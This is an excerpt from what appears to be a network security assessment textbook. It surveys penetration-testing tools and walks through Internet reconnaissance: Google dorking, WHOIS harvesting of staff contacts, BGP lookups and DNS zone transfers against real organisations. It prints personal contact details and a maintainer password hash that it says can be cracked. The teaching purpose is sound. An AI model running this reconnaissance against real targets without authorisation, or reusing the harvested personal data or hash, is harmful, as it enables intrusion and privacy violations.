This book covers a number of specific vulnerabilities in detail, but it leaves cracking and pilfering techniques (deleting logs and installing backdoors, sniffers, and other tools) to the countless number of hacking books available. By providing you with technical information related to network and application vulnerabilities, I hope to enable you to formulate effective countermeasures and risk mitigation strategies.
The Cyclic Assessment Approach

Assessment of large networks in particular can become a very cyclic process if you are testing the networks of an organization in a blind sense and are given minimal information. As you test the network, information leak bugs can be abused to find different types of useful information (including trusted domain names, IP address blocks, and user account details) that is then fed back into other processes. The flowchart in Figure 1-2 outlines this approach and the data being passed between processes.

Figure 1-2. The cyclic approach to network security assessment
This flowchart includes network enumeration, then bulk network scanning, and finally specific service assessment. It may be the case that by assessing a rogue non-authoritative DNS service, an analyst may identify previously unknown IP address blocks, which can then be fed back into the network enumeration process to identify further network components. In the same way, an analyst may enumerate a number of account usernames by exploiting public folder information leak vulnerabilities in Microsoft Outlook Web Access, which can then be fed into a brute-force password grinding process later on.
CHAPTER 2

Network Security Assessment Platform

This chapter outlines and discusses the components and tools that make up a professional security consultant’s toolkit for performing tasks including reconnaissance, network scanning, and exploitation of vulnerable software components. Many advanced tools can only be run from Unix-based systems, while other Windows-specific tools are required when testing Microsoft-based platforms and environments, and so building a flexible platform is very important.

Although these tools and their respective configurations and uses are discussed in detail throughout the book, they are discussed here at a reasonably high level so that you may start to think about preparing and configuring your assessment platform. At a high level, the tools and components that you need to consider are as follows:

- Virtualization software to allow you to run multiple virtual systems on one physical machine
- Operating systems within your assessment platform
- Reconnaissance tools to perform initial Internet-based open source querying
- Network scanning tools to perform automated bulk scanning of accessible IP addresses
- Exploitation frameworks to exploit vulnerable software components and accessible services
- Web application testing tools to perform specific testing of web applications

With the exception of commercial tools that require licenses, all of the tools listed in this book can be found in the O’Reilly archive at http://examples.oreilly.com/networksata/tools. I have listed the original sites in most cases so that you can freely browse other tools and papers on each respective site.

Virtualization Software

Most security consultants use server virtualization software to underpin their testing platforms. Virtualization software allows for multiple virtual machines, running
different operating systems and tools, to be run in parallel on the same physical system. Virtual machines are also easily frozen, spun-back to a previous known good state, and copied or moved between different physical machines, all of which allows for easy maintenance.

**VMware**

VMware is an extremely useful program that allows you to run multiple instances of operating systems from a single system. You can download VMware Server and VMware Player for free from [http://www.vmware.com/products/free_virtualization.html](http://www.vmware.com/products/free_virtualization.html) for both Windows and Linux. The more powerful VMware ESX and Infrastructure products require commercial licenses.

I run VMware Server from my Windows workstation to run and access Linux and other operating platforms in parallel as needed during a network security assessment. From a networking perspective, VMware can be used in many configurations. I use a virtual NAT configuration that gives my virtual machines access to the network card of my workstation.

**Microsoft Virtual PC**

Microsoft Virtual PC is available for free from [http://www.microsoft.com/windows/virtualpc/default.mspx](http://www.microsoft.com/windows/virtualpc/default.mspx). Most Linux, BSD, and Solaris platforms run under Virtual PC (a comprehensive list of supported operating platforms can be found at [http://vpc.visualwin.com](http://vpc.visualwin.com)). Virtual PC can also be run from Mac OS X, to run Windows and other platforms. For more information, visit [http://www.apple.com/macosx/applications/virtualpc/](http://www.apple.com/macosx/applications/virtualpc/).

Microsoft Virtual Server is also available, and offers datacenter-class features such as rapid configuration and deployment of virtual machine images. Virtual Server is available from [http://www.microsoft.com/windowsserversystem/virtualserver/default.mspx](http://www.microsoft.com/windowsserversystem/virtualserver/default.mspx).

**Parallels**

Parallels is a Mac OS-specific virtualization solution that allows users to run Microsoft Windows, Linux, and BSD-derived platforms within Mac OS X. Further details are available from the company web site at [http://www.parallels.com](http://www.parallels.com).

**Operating Systems**

The operating platforms you use during a network security assessment will depend on the type of network you are going to test and the depth to which you will perform your assessment. It is often the case that to successfully launch exploit scripts against Linux or Unix systems, you will require access to a Unix-like platform (usually Linux or BSD-derived) to correctly compile and run specialist exploit tools.
Microsoft Windows Platforms

As Windows releases (XP, 2003 Server, Vista, etc.) start to mature and become more flexible, many more network assessment and hacking tools that run cleanly on the platform are becoming available. Previous Windows releases didn’t give raw access to network sockets, so many tools had to be run from Unix-based platforms. This is no longer the case; increasing amounts of useful security utilities have been ported across to Windows, including Nmap and powerful tools within the Dsniff package, such as arpspoof.

Windows operating platforms are usually required within a network security assessment exercise to use tools that are run against Windows targets, such as Urity’s RpcScan, because it uses internal Windows libraries and components that are not easily available or ported to Unix-based platforms.

Linux Platforms

Linux is the platform of choice for most hackers and security consultants alike. Linux is versatile, and the system kernel provides low-level support for leading-edge technologies and protocols (Bluetooth and IPv6 are good examples at the time of writing). All mainstream IP-based attack and penetration tools can be built and run under Linux with no problems, due to the inclusion of extensive networking libraries such as libpcap.

At the time of writing, the most popular Linux distributions are:

- Ubuntu (http://www.ubuntu.com)
- Gentoo (http://www.gentoo.org)
- openSUSE (http://www.opensuse.org)
- Fedora Core (http://fedora.redhat.com)

Binary distributions like Ubuntu are useful and reliable, and are updated easily using apt-get or aptitude package management programs. Many large companies, including Google, use Ubuntu on both client workstation and server systems. Maintaining binary Linux distributions is much simpler than using source distributions, such as Gentoo, which require compilation of new software components.

Apple Mac OS X

Mac OS X is a BSD-derived operating system. The underlying system looks and feels very much like any Unix environment, with standard command shells (such as sh, csh, and bash) and useful network utilities that can be used during an IP-based network security assessment (including telnet, ftp, rpcinfo, snmpwalk, host, and dig).

Mac OS X is supplied with a compiler and many header and library files that allow for specific assessment tools to be built, including Nmap, Nessus, and Nikto. Many
other tools and packages are available for Mac OS X via DarwinPorts (http://www.darwinports.com) and Fink (http://www.finkproject.org).

Reconnaissance Tools

A number of built-in operating system commands can be used to perform reconnaissance tasks. In particular, under Unix-based platforms (including Linux and Mac OS X), command-line clients such as `whois`, `dig`, `traceroute`, and `nslookup` are available, whereas Microsoft Windows platforms only have `nslookup` and `tracert` commands. Many reconnaissance tasks can also be launched through a web browser, including querying specific Internet WHOIS search engines.


Network Scanning Tools

Network scanners are used to perform bulk automated scanning of IP ranges to identify vulnerable network service components. The two most popular open source network scanners are Nmap and Nessus.

Nmap

Nmap is a port scanner used to scan large networks and perform low-level ICMP, TCP, and UDP analysis. Nmap supports a large number of scanning techniques, also offering a number of advanced features such as service protocol fingerprinting, IP fingerprinting, stealth scanning, and low-level network traffic filter analysis. Nmap is available from http://www.insecure.org/nmap. Currently, Nmap can be run under most operating platforms, including Windows, Linux, and Mac OS X.

Nessus

Nessus is a vulnerability assessment package that can perform many automated tests against a target network, including ICMP, TCP, and UDP scanning, testing of specific network services (such as Apache, MySQL, Oracle, Microsoft IIS, and many others), and rich reporting of vulnerabilities identified.

Having run the Sentinel testing platform and evaluated the security consultants of the world’s largest penetration testing providers, I know that all of them use Nessus to perform bulk network scanning and assessment, from which manual qualification
and use of specific tools and techniques follows. Nessus has two components (daemon and client) and deploys in a distributed fashion that permits effective network coverage and management.

Nessus reporting is comprehensive in most cases. However, reports often contain a number of false positives and a lot of noise (as issues are often not reported concisely or different iterations of the same issue are reported), so it is important that consultants manually parse Nessus output, perform qualification, and produce an accurate and concise handwritten report. As with many other tools, Nessus uses CVE references to report issues. CVE is a detailed list of common vulnerabilities maintained by the MITRE Corporation (http://cve.mitre.org).

Nessus is available for free download from http://www.nessus.org, and can be run under Linux, Solaris, Windows, Mac OS X, and other platforms. Tenable Security maintains a commercially supported and up-to-date branch of Nessus and its scanning scripts, which has enhanced features relating to SCADA testing and compliance auditing under Windows and Unix. Further information is available from http://www.tenablesecurity.com/products/nessus.shtml.

**Commercial Network Scanning Tools**

Commercial scanning packages are used by many network administrators and those responsible for the security of large networks. Although not cheap (with software licenses often in the magnitude of tens of thousands of dollars), commercial systems are supported and maintained by the respective vendor, so vulnerability databases are kept up-to-date. With this level of professional support, a network administrator can assure the security of his network to a certain level.

Here’s a selection of popular commercial packages:

- ISS Internet Scanner (http://www.iss.net)
- eEye Retina (http://www.eeye.com)
- QualysGuard (http://www.qualys.com)
- Matta Colossus (http://www.trustmatta.com)

An issue with such one-stop automated vulnerability assessment packages is that, increasingly, they record false positive results. As with Nessus, it is often advisable to use a commercial scanner to perform an initial bulk scanning and network service assessment of a network, then fully qualify and investigate vulnerabilities by hand to produce accurate results. Matta Colossus addresses this by allowing the user to supervise a scan as it is conducted, and also to edit the final report.

**Exploitation Frameworks**

Upon identifying vulnerable network services and components of interest by performing network scanning, exploitation frameworks are used to exploit the flaws in
these accessible network services and gain access to the target host. Qualification in this way is often important so that a clear and accurate report can be presented to the client. The only exploitation framework that is available for free at the time of writing is Metasploit. Two popular commercial frameworks are CORE IMPACT and Immunity CANVAS.

**Metasploit Framework**

The Metasploit Framework (MSF) ([http://www.metasploit.com](http://www.metasploit.com)) is an advanced open source platform for developing, testing, and using exploit code. The project initially started off as a portable network game and then evolved into a powerful tool for penetration testing, exploit development, and vulnerability research.

The framework and exploit scripts are written in Ruby, and widespread support for the language allows MSF to run on almost any Unix-like system under its default configuration. The system itself can be accessed and controlled through a command-line interpreter or web interface running from a suitable server.

Metasploit exploit modules are reliable and cover exploitation of the most popular vulnerabilities uncovered in Windows- and Unix-based platforms since 2004. A very useful feature in the current version (3.0 at the time of writing) is a reverse VNC server injection mechanism, which is invaluable when repositioning through Windows servers.

**Commercial Exploitation Frameworks**

Security consultants use commercial exploitation frameworks to perform penetration and repositioning tasks. At the time of writing, the two leading commercially available exploitation frameworks are CORE IMPACT and Immunity CANVAS. These tools are feature-rich, reliable, and commercially supported, offering advanced features such as repositioning using agent software. Also, third-party companies (including Argeniss and GLEG) offer zero-day exploit packs, which can be integrated into these systems to exploit unpublished zero-day vulnerabilities.

These exploitation frameworks are discussed along with Metasploit Framework in Chapter 16. For current details relating to IMPACT and CANVAS, you can visit their respective vendor web sites:

- CORE Security Technologies ([http://www.coresecurity.com](http://www.coresecurity.com))

Details of the GLEG and Argeniss 0day exploit packs, containing numerous unpublished exploit scripts, can be found at their respective web sites:

- GLEG VulnDisco ([http://gleg.net/products.shtml](http://gleg.net/products.shtml))
- Ageniss Ultimate 0day Exploits Pack ([http://www.argeniss.com/products.html](http://www.argeniss.com/products.html))
As this book was going to print, Argeniss announced that its 0day packs had been acquired by GLEG. I list both sites and cover the packs separately throughout the book, as it is difficult and time-prohibitive for me to go through and unify everything at this time. Please refer to GLEG for sales and support relating to both Argeniss and GLEG packs.

**Web Application Testing Tools**

Web application testing tools are used to perform crawling and fuzzing of accessible web-based applications and components to identify weaknesses such as command injection, cross-site scripting, and poor permissions. Such web application testing tools are run in two ways; either as passive proxies that modify data from a web browser as it is sent to the target web server, or as active scanners that crawl and fuzz input variables directly. Complex web applications (such as those using JavaScript) are difficult to actively scan and crawl, and so a passive proxy must be used in these cases.

Proxy-based open source web application testing tools include:

- Paros ([http://www.parosproxy.org](http://www.parosproxy.org))
- Burp suite ([http://portswigger.net](http://portswigger.net))

Active open source web application crawling and fuzzing tools are as follows:

- Wapiti ([http://wapiti.sourceforge.net](http://wapiti.sourceforge.net))
- Nikto ([http://www.cirt.net/code/nikto.shtml](http://www.cirt.net/code/nikto.shtml))

**Commercial Web Application Scanning Tools**

A number of companies offer commercially available web application testing tools. Through running the Matta Sentinel program, we have had exposure to a number of these, and evaluated them accordingly. Three such commercial web application scanners used by professional security consultants are:

CHAPTER 3

Internet Host and Network Enumeration

This chapter focuses on the first steps you should take when assuming the role of an Internet-based attacker. The first avenue that any competent attacker should pursue is that of querying open sources for information relating to the target organization and its networks. At a high level, the following open sources are queried:

- Web and newsgroup search engines
- Domain and IP WHOIS registrars
- Border Gateway Protocol (BGP) looking glass sites and route servers
- Public DNS name servers

The majority of this probing is indirect, sending and receiving traffic from sites like Google or public WHOIS, BGP, and DNS servers. A number of direct querying techniques involve sending information to the target network in most cases, as follows:

- DNS querying and grinding against specific name servers
- Web server crawling
- SMTP probing

Upon performing an Internet network enumeration exercise, querying all of these sources for useful information, an attacker can build a useful map of your networks and understand where potential weaknesses may lie. By identifying peripheral systems of interest (such as development or test systems), attackers can focus on specific areas of the target network later on.

The reconnaissance process is often interactive, repeating the full enumeration cycle when a new piece of information (such as a domain name or office address) is uncovered. The scope of the assessment exercise usually defines the boundaries, which sometimes includes testing third parties and suppliers. I know of a number of companies whose networks were compromised by extremely determined attackers breaking home user PCs that were using always-on cable modem or DSL connections, and “piggybacking” into the corporate network.
Querying Web and Newsgroup Search Engines

As search engines scour the Web and newsgroups, they catalog pieces of potentially useful information. Google and other sites provide advanced search functions that allow attackers to build a clear picture of the network that they plan to attack later.

In particular, the following classes of data are usually uncovered:

- Contact details, including staff email addresses and telephone numbers
- Physical addresses of offices and other locations
- Technical details of internal email systems and routing
- DNS layout and naming conventions, including domains and hostnames
- Documents that reside on publicly accessible servers

Telephone numbers are especially useful to determined attackers, who will launch war dialing attacks to compromise dial-in servers and devices. It is very difficult for organizations and companies to prevent this information from being ascertained. To manage this risk more effectively, companies should go through public record querying exercises to ensure that the information an attacker can collect doesn’t lead to a compromise.

Google Search Functionality

Google can be used to gather potentially useful information through its advanced search page at http://www.google.com/advanced_search?hl=en. Searches can be refined to include or exclude certain keywords, or to hit on keywords in specific file formats, under specific Internet domains, or in specific parts of the web page (such as the page title or body text).

Enumerating contact details with Google

Google can be used to easily enumerate email addresses and telephone and fax numbers. Figure 3-1 shows the results of the search string "pentagon.mil" +tel +fax passed to Google to enumerate email addresses and telephone numbers relating to the Pentagon.

Effective search query strings

Google can be queried in many different ways, depending on the exact type of data you are trying to mine. For example, if you simply want to enumerate web servers under the abc.com domain, you can submit a query string of site:.abc.com.

A useful application of a Google search is to list web servers that support directory indexing. Figure 3-2 shows the results of the following search: allintitle: "index of /data" site:.nasa.gov.
Often enough, web directories that provide file listings contain interesting files that aren’t web-related (such as Word and Excel documents). An example of this is a large bank that stored its BroadVision rollout plans (including IP addresses and administrative usernames and passwords) in an indexed `/cmc_upload/` directory. An automated CGI or web application scanner can’t identify the directory, but Google can crawl through, following links from elsewhere on the Internet.

### Searching Newsgroups

Internet newsgroup searches can also be queried. Figure 3-3 shows how to search Google Groups (http://groups.google.com) using the query string symantec.com.

After conducting web and newsgroup searches, you should have an initial understanding of the target networks in terms of domain names and offices. WHOIS, DNS, and BGP querying are used next to probe further and identify Internet-based points of presence, along with details of hostnames and operating platforms used.
Querying Netcraft

Netcraft (http://www.netcraft.com) is a rich site that actively probes Internet web servers and retains historic server fingerprint details. You can use it to map web farms and network blocks, displaying host operating platform details and other useful information. Figure 3-4 shows Netcraft being queried to display web servers under sun.com and their respective operating platform details.

Querying Domain WHOIS Registrars

Domain registrars are queried to obtain useful information about given domain names registered by organizations. There are many top-level domains (TLDs) and associated registrars at the time of writing, including generic TLDs and country-code TLDs. ICANN and IANA maintain lists of registrars associated with these generic and country-code TLDs at the following locations:

- gTLD registrars (http://www.icann.org/registries/listing.html)
- ccTLD registrars (http://www.iana.org/root-whois/index.html)
These TLD registrars can be queried to obtain the following information via WHOIS:

- Administrative contact details, including names, email addresses, and telephone numbers
- Mailing addresses for office locations relating to the target organization
- Details of authoritative name servers for each given domain

Tools used to perform domain WHOIS querying include:

- The `whois` client found within Unix-based environments
- The appropriate TLD registrar WHOIS web interface

**Using the Unix whois utility**

The Unix `whois` command-line utility can issue many types of WHOIS queries. In Example 3-1, I submit a query of `blah.com`, revealing useful information regarding the domain, its administrative contacts, and authoritative DNS name servers.
Figure 3-4. Using Netcraft to identify and fingerprint web servers

Example 3-1. Obtaining the domain WHOIS record for blah.com

$ whois blah.com

Domain Name: BLAH.COM
Registrar: NETWORK SOLUTIONS, LLC.
Whois Server: whois.networksolutions.com
Referral URL: http://www.networksolutions.com
Name Server: NS1.BLAH.COM
Name Server: NS2.BLAH.COM
Name Server: NS3.BLAH.COM
Status: clientTransferProhibited
Updated Date: 04-oct-2006
Creation Date: 20-mar-1995
Expiration Date: 21-mar-2009
Querying IP WHOIS Registrars

Regional Internet Registries (RIRs) store useful information (primarily as network, route, and person objects) relating to IP network blocks. IP WHOIS database objects define which areas of Internet space are registered to which organizations, with other information such as routing and contact details in the case of abuse.

There are a number of geographic and logical regions under which all public Internet-based address spaces fall. The following RIRs can be queried to glean useful information (including names of technical IT staff, details of IP network blocks, and physical office locations):
American Registry for Internet Numbers (ARIN) at http://www.arin.net
Réseaux IP Européens (RIPE) at http://www.ripe.net
Asia Pacific Network Information Centre (APNIC) at http://www.apnic.net
Latin American and Caribbean Network Information Centre (LACNIC) at http://www.lacnic.net
African Network Information Centre (AfrNIC) at http://www.afrnic.net

Each respective regional registrar’s WHOIS database contains information relevant to that particular region. For example, the RIPE WHOIS database doesn’t contain information about network space and other objects that are found in the Americas.

**IP WHOIS Querying Tools and Examples**

Tools used to perform IP WHOIS querying include:
• The `whois` client found within Unix-based environments
• The appropriate RIR WHOIS web interface

**Querying WHOIS databases to enumerate objects for a given company**

The `whois` command-line client is used to perform WHOIS queries. In Example 3-2, I submit a query of `nintendo` to enumerate all the objects in the ARIN database for Nintendo.

**Example 3-2. Enumerating the Nintendo objects in ARIN**

```
$ whois nintendo -h whois.arin.net
Nintendo North America (NNA-21)
Nintendo of America (TEND)
Nintendo of America (NINTEN-1)
Nintendo Of America inc. (NINTEN)
Nintendo of America, Inc. (NINTE-1)
Nintendo of America, Inc. (NINTE-2)
Nintendo Network Administration (NNA12-ARIN) netadmin@noa.nintendo.com +1-425-882-2040
Nintendo Of America inc. (AS11278) NINTENDO 11278
Nintendo North America SAVV-S233299-1 (NET-207-149-2-192-1) 207.149.2.192 - 207.149.2.199
Nintendo North America SAVV-S233299-2 (NET-216-74-145-64-1) 216.74.145.64 - 216.74.145.127
Nintendo of America NINTENDO-COM (NET-205-166-76-0-1) 205.166.76.0 - 205.166.76.255
Nintendo Of America inc. NOA (NET-192-195-204-0-1) 192.195.204.0 - 192.195.204.255
Nintendo of America, Inc. SAVV-S263732-3 (NET-216-32-20-248-1) 216.32.20.248 - 216.32.20.255
Nintendo of America, Inc. SAVV-S263732-3 (NET-209-67-106-128-1) 209.67.106.128 - 209.67.106.255
Nintendo of America, Inc. SAVV-S263732-3 (NET-205-166-76-0-1) 205.166.76.0 - 205.166.76.255
Nintendo of America, Inc. SAVV-S263732-3 (NET-192-195-204-0-1) 192.195.204.0 - 192.195.204.255
Nintendo of America, Inc. SAVV-S263732-3 (NET-64-124-44-48-1) 64.124.44.48 - 64.124.44.55
```

ARIN only contains details of North American objects, and so we must reissue the query to APNIC and other registrars to enumerate network blocks and other objects in different regions, as shown in Example 3-3.

**Example 3-3. Enumerating the Nintendo objects in APNIC**

```
$ whois nintendo -h whois.apnic.net
% [whois.apnic.net node-2]
% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html
inetnum: 60.36.183.152 - 60.36.183.159
netname: NINTENDO
descr: Nintendo Co.,Ltd.
country: JP
admin-c: FH829JP
technical-c: MI7247JP
remarks: This information has been partially mirrored by APNIC from
```
Using WHOIS web search engines

WHOIS search engines at the respective registrar web sites can also be queried and cross-referenced to enumerate useful information. Figure 3-6 shows that if a zip or postal code is known for a company office, we can use it to enumerate the IP blocks associated with that organization (using the RIPE search engine at http://www.ripe.net/search/index.html against the WHOIS database).

Harvesting user details through WHOIS

User details relating to a specific domain can easily be harvested from the Unix command line with the whois utility. Example 3-4 shows a query launched against mitre.org through ARIN, revealing usernames, email addresses, and telephone numbers.
After gathering details of Internet network blocks, usernames, and email addresses, you can probe further to identify potential weaknesses that can be leveraged. After querying public records, such as web search engines and WHOIS databases, DNS querying can find network-specific information that may be useful.

Figure 3-6. Querying the RIPE web search engine using a postal code

Example 3-4. Enumerating MITRE Corporation staff through ARIN

```
$ whois "@mitre.org" -h whois.arin.net

Cooper, Thaddeus (TC180-ARIN)    tcooper@mitre.org  +1-703-883-5451
Latham, Jay (JL4618-ARIN)        jlaham@mitre.org  +1-908-389-5660
Lazear, Walter D. (WDL-ARIN)      LAZEAR@mitre.org   +1-703-883-6515
Mitchell, Randolph (RM1792-ARIN) randolph@mitre.org +1-856-488-0095
MITRE-IPADMIN (MITRE-ARIN)        ipadmin@mitre.org  +1-812-271-6957
Rogers, Brian (BRO851-ARIN)      brogers@mitre.org  +1-719-572-8391
Sena, Rich (RS1914-ARIN)         rsena@mitre.org    +1-781-271-3712
```

After gathering details of Internet network blocks, usernames, and email addresses, you can probe further to identify potential weaknesses that can be leveraged. After querying public records, such as web search engines and WHOIS databases, DNS querying can find network-specific information that may be useful.
Enumerating WHOIS maintainer objects

Maintainer objects are used within WHOIS databases to manage updates and modifications of data. In RIPE and APNIC, these maintainer objects can be enumerated, as shown in Example 3-5, where I submit a query of cs-security-mnt to obtain the maintainer object for Charles Stanley & Co.

Example 3-5. Enumerating the cs-security-mnt object from RIPE

```
$ whois cs-security-mnt
% This is the RIPE Whois server.
% The objects are in RPSL format.
% Please visit http://www.ripe.net/rpsl for more information.
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html

mntner:       CS-SECURITY-MNT
descr:        Charles Stanley & Co Ltd maintainer
admin-c:      SN1329-RIPE
tech-c:       SN1329-RIPE
auth:         MD5-PW $1$ueGOEK5$bgInbiG.E7SpVSn6QhI430
mnt-by:       CS-SECURITY-MNT
referral-by:  RIPE-DBM-MNT
source:       RIPE # Filtered

person:       Sukan Nair
address:      Charles-Stanley
address:      25 Luke Street
address:      London EC2A 4AR
address:      UK
phone:        +44 20 8491 5889
email:        sukan.nair@charles-stanley.co.uk
nic-hdl:      SN1329-RIPE
mnt-by:       MISTRALNOC
source:       RIPE # Filtered
```

In this example, we compromise an MD5 password hash that can be cracked offline and can in turn be used to compromise the objects in the RIPE database relating to Charles Stanley & Co. For further information relating to registrar WHOIS database security, see a white paper I wrote in June 2002, available from the Matta web site at http://www.trustmatta.com/downloads/pdf/Matta_NIC_Security.pdf.

BGP Querying

Traffic between Internet-based networks is routed and controlled using BGP in particular. BGP uses Autonomous System (AS) numbers to define collections of IP networks and routers that present a common routing policy to the Internet.

AS numbers are assigned by the IANA, which also allocates IP addresses to Regional Internet Registries in blocks. RIRs allocate AS numbers to ISPs and large organizations so they can manage their IP router networks and upstream connections.
The WHOIS query in Example 3-1 revealed the following AS number relating to Nintendo:

Nintendo Of America inc. (AS11278) NINTENDO 11278

We can cross-reference AS11278 at http://fixedorbit.com/search.htm to reveal the IP blocks associated with the AS number, as shown in Figure 3-7.

Nintendo has a number of other network block; however, these are the only two associated with this AS number. Other details, such as upstream peers, can also be enumerated using the Fixed Orbit site (http://fixedorbit.com). Domain names and IP addresses can also be entered to reveal useful information. If an AS number is unknown, you can retrieve it by providing a known IP address.

Many BGP looking glass sites and route servers can be queried to reveal this information. Route servers are maintained by ISPs and can be connected to using Telnet to issue specific BGP queries. A list of looking glass sites and route servers is maintained by NANOG at http://www.nanog.org/lookingglass.html.
DNS Querying

Utilities such as nslookup, host, and dig are used to issue DNS requests relating to domains and IP address blocks identified. Specific DNS testing tools also perform reverse DNS sweeping and forward DNS grinding attacks against accessible name servers.

DNS requests and probes are launched to retrieve DNS records relating to specific domains and IP network blocks. DNS servers can be quizzed to reveal useful information, including:

- Authoritative DNS server information, from Name Server (NS) resource records
- Domain and subdomain details
- Hostnames from Address (A), Pointer (PTR), and Canonical Name (CNAME) resource records
- Details of SMTP mail servers from Mail Exchanger (MX) resource records

In some cases, poorly configured DNS servers also allow you to enumerate:

- Operating system and platform information from the Host Information (HINFO) resource record
- Names and IP addresses of internal or nonpublic hosts and networks

You can very often uncover previously unknown network blocks and hosts during DNS querying. If new network blocks are found, I recommend launching a second round of WHOIS queries and web searches to get further information about each new network block.

Forward DNS Querying

Forward DNS records are required for organizations and companies to integrate and work correctly as part of the Internet. Two examples of legitimate forward queries are when an end user accesses a web site and during the receipt of email when SMTP mail exchanger information is requested about the relevant domain. Attackers issue forward DNS queries to identify mail servers and other obvious Internet-based systems.

Tools that query DNS servers directly include:

- The nslookup client found within most operating systems
- The dig client found within Unix environments

Forward DNS querying through nslookup

Using nslookup in an interactive fashion (from either a Windows or Unix-based command prompt), you can identify the MX addresses and hostnames for the Central Intelligence Agency (CIA) domain at cia.gov, as shown in Example 3-6. Note that this process reveals uc.cia.gov as the internal domain used for the CIA’s network space.
Example 3-6. Using nslookup to enumerate basic domain details

```
$ nslookup
> set querytype=any
> cia.gov
Server:      213.228.193.145
Address:     213.228.193.145#53

Non-authoritative answer:
Name:        cia.gov
Address:     198.81.129.100

cia.gov nameserver = relay7.ucia.gov.
cia.gov nameserver = auth100.ns.uu.net.
cia.gov nameserver = relay1.ucia.gov.
cia.gov origin = relay1.ucia.gov
    mail addr = root.ucia.gov
    serial = 511250020
    refresh = 7200
    retry = 3600
    expire = 604800
    minimum = 86400

cia.gov mail exchanger = 10 mail1.ucia.gov.
cia.gov mail exchanger = 5 mail2.ucia.gov.

Authoritative answers can be found from:
relay7.ucia.gov internet address = 198.81.129.186
auth100.ns.uu.net internet address = 198.6.1.202
relay1.ucia.gov internet address = 198.81.129.193
```

MX address details are very useful to attackers because such mail servers often reside on the corporate network boundary between the Internet and internal network space. By scanning these systems, attackers can often identify other gateways and systems that aren’t secure.

The initial forward DNS query against cia.gov identifies the authoritative DNS servers as relay1.ucia.gov, relay7.ucia.gov, and auth100.ns.uu.net. The mail servers for the domain are also found to be mail1.ucia.gov and mail2.ucia.gov. The IP addresses of these hosts can then be cross-referenced with the ARIN WHOIS database, revealing that the CIA has a large network block allocated (198.81.128.0/18), as shown here:

```
$ whois 198.81.129.0
ANS Communications, Inc BLK198-15-ANS (NET-198-80-0-0-1)
198.80.0.0 - 198.81.255.255

Central Intelligence Agency OIT-BLK1 (NET-198-81-128-0-1)
198.81.128.0 - 198.81.191.255
```
DNS Zone Transfer Techniques

Perhaps the most popular method for gathering information about all the computers within a DNS domain is to request a zone transfer. A DNS zone file contains all the naming information that the name server stores regarding a specific DNS domain, often including details of nonpublic internal networks and other useful information you can use to build an accurate map of the target infrastructure.

For load balancing and fault tolerance reasons, most organizations use more than one name server. The main name server is known as the primary name server and all subsequent name servers are secondary name servers. Either a primary or secondary name server can be queried for name resolution, so it is important that each name server have current DNS zone information. To ensure this is the case, whenever a secondary name server is started and at regular, specified intervals thereafter, it requests a complete listing of the computers it is responsible for from the primary name server. The process of requesting and receiving this information is known as a zone transfer.

Tools used to request DNS zone transfer information include:

- The host client found within Unix environments
- The dig client found within Unix environments
- The nslookup client found within most operating systems

Checking for DNS zone transfer weaknesses using host

The host tool can be used to check all the authoritative name servers for a given domain for DNS zone transfer. Example 3-7 shows host being used to test the authoritative name servers for ucia.gov for DNS zone transfer (AXFR record query) weaknesses.

Example 3-7. Using host to test authoritative name servers for zone transfer

```
$ host -l ucia.gov
ucia.gov AXFR record query refused by relay1.ucia.gov
ucia.gov AXFR record query refused by relay7.ucia.gov
ucia.gov AXFR record query refused by auth100.ns.uu.net
No nameservers for ucia.gov responded
```

Using dig to perform a DNS zone transfer using a specific name server

In Example 3-7, we find that the listed name servers for ucia.gov refuse DNS zone transfers. However, upon closer inspection of the network, an unlisted name server (relay2.ucia.gov) is found that supports DNS zone transfers. This could be an unlisted backup server or an old server with out-of-date information. Example 3-8 shows how you can query relay2.ucia.gov directly to obtain the DNS zone.
Example 3-8. Using dig to perform a DNS zone transfer

$ dig @relay2.ucia.gov ucia.gov axfr

;; <<>> DiG 9.2.4 <<>> ucia.gov @relay2.ucia.gov axfr
;; global options: printcmd
                         512110023 7200 900 604800 900
ucia.gov.               3600    IN      NS      relay1.ucia.gov.
ucia.gov.               3600    IN      NS      relay7.ucia.gov.
ucia.gov.               3600    IN      NS      auth100.ns.uu.net.
ucia.gov.               3600    IN      MX      5 mail2.ucia.gov.
ain.ucia.gov.           3600    IN      A       198.81.128.68
ain-relay.ucia.gov.     3600    IN      CNAME   relay1.ucia.gov.
ain-relay-int.ucia.gov.  3600    IN      CNAME   ain-relay1-int.ucia.gov.
ain-relay1.ucia.gov.    3600    IN      CNAME   relay1.ucia.gov.
ain-relay1-ext.ucia.gov. 3600   IN      CNAME   relay1.ucia.gov.
ain-relay1-int.ucia.gov. 3600   IN      A       192.168.64.2
ain-relay2.ucia.gov.    3600    IN      CNAME   relay2.ucia.gov.
ain-relay2-ext.ucia.gov. 3600   IN      CNAME   relay2.ucia.gov.
ain-relay2-int.ucia.gov. 3600   IN      A       192.168.64.3
ain-relay7-ext.ucia.gov. 3600   IN      CNAME   relay7.ucia.gov.
ain-relay7-int.ucia.gov. 3600   IN      A       192.168.64.67
ex-rtr-129.ucia.gov.    3600    IN      A       198.81.129.222
ex-rtr-129.ucia.gov.    3600    IN      HINFO   "Cisco 4000 Router" "NP-1E Board"
ex-rtr-191-a.ucia.gov.  3600    IN      A       192.103.66.58
ex-rtr-191-b.ucia.gov.  3600    IN      A       192.103.66.62
foia.ucia.gov.          3600    IN      NS      relay1.ucia.gov.
foia.ucia.gov.          3600    IN      NS      auth100.ns.uu.net.
mail1.ucia.gov.          3600    IN      A       198.81.129.68
mail1out.ucia.gov.      3600    IN      A       198.81.129.71
mail2.ucia.gov.          3600    IN      A       198.81.129.148
mail2out.ucia.gov.      3600    IN      A       198.81.129.146
relay.ucia.gov.          3600    IN      CNAME   relay1.ucia.gov.
relay-int.ucia.gov.      3600    IN      CNAME   ain-relay1-int.ucia.gov.
relay1.ucia.gov.         3600    IN      A       198.81.129.193
relay1-ext.ucia.gov.     3600    IN      CNAME   relay1.ucia.gov.
relay1-int.ucia.gov.     3600    IN      CNAME   ain-relay1-int.ucia.gov.
relay2.ucia.gov.         3600    IN      A       198.81.129.194
relay2-ext.ucia.gov.     3600    IN      CNAME   relay2.ucia.gov.
relay2-int.ucia.gov.     3600    IN      CNAME   ain-relay2-int.ucia.gov.
relay2a.ucia.gov.        3600    IN      A       198.81.129.200
relay2y.ucia.gov.        3600    IN      A       198.81.129.68
relay2z.ucia.gov.        3600    IN      A       198.81.129.69
relay7.ucia.gov.         3600    IN      A       198.81.129.186
